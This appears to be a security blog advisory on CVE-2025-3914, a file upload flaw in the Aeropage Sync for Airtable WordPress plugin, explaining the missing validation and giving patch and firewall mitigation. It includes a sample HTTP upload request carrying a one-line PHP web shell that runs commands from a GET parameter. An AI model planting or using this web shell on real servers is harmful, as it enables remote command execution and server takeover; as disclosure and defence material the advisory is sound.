Overview
This blog post presents an overview of a critical vulnerability identified with the CVE identifier CVE-2025-3914. This vulnerability is found within the Aeropage Sync for Airtable plugin for WordPress, specifically within the ‘aeropage_media_downloader’ function of the plugin. The vulnerability affects all versions up to, and including, version 3.2.0 of the plugin. It is a severe issue as it allows for the possibility of arbitrary file uploads by authenticated attackers, potentially leading to remote code execution and system compromise. Understanding this vulnerability, its potential impact, and mitigation strategies are crucial for any organization using the affected plugin to ensure the overall security of their WordPress-based systems.

How the Exploit Works
The vulnerability lies within the ‘aeropage_media_downloader’ function of the Aeropage Sync for Airtable plugin. This function, as it currently stands, lacks file type validation, meaning it does not confirm whether the uploaded file is of a safe and permitted type before processing it. An attacker, with subscriber-level access or above, could exploit this by uploading a malicious file to the server. The server, treating the file as valid, could then execute the file’s code, potentially leading to system compromise.
Conceptual Example Code
Here’s a conceptual example of how an attacker might exploit the vulnerability. This example is shown as an HTTP POST request where the attacker uploads a malicious file:
POST /wp-content/plugins/aeropage-sync/upload HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
Content-Disposition: form-data; name="file"; filename="exploit.php"
<?php
system($_GET['cmd']);
?>In this conceptual example, ‘exploit.php’ is a malicious file that, when run, executes system commands passed through the ‘cmd’ GET parameter. This could give the attacker the ability to run arbitrary commands on the server.
Mitigation Guidance
Those affected by this vulnerability are advised to apply the vendor patch immediately as the primary mitigation strategy. In cases where immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can act as temporary mitigation. These security measures can be configured to block or alert on attempts to exploit this vulnerability. However, they do not substitute for the long-term solution of patching the vulnerable plugin.
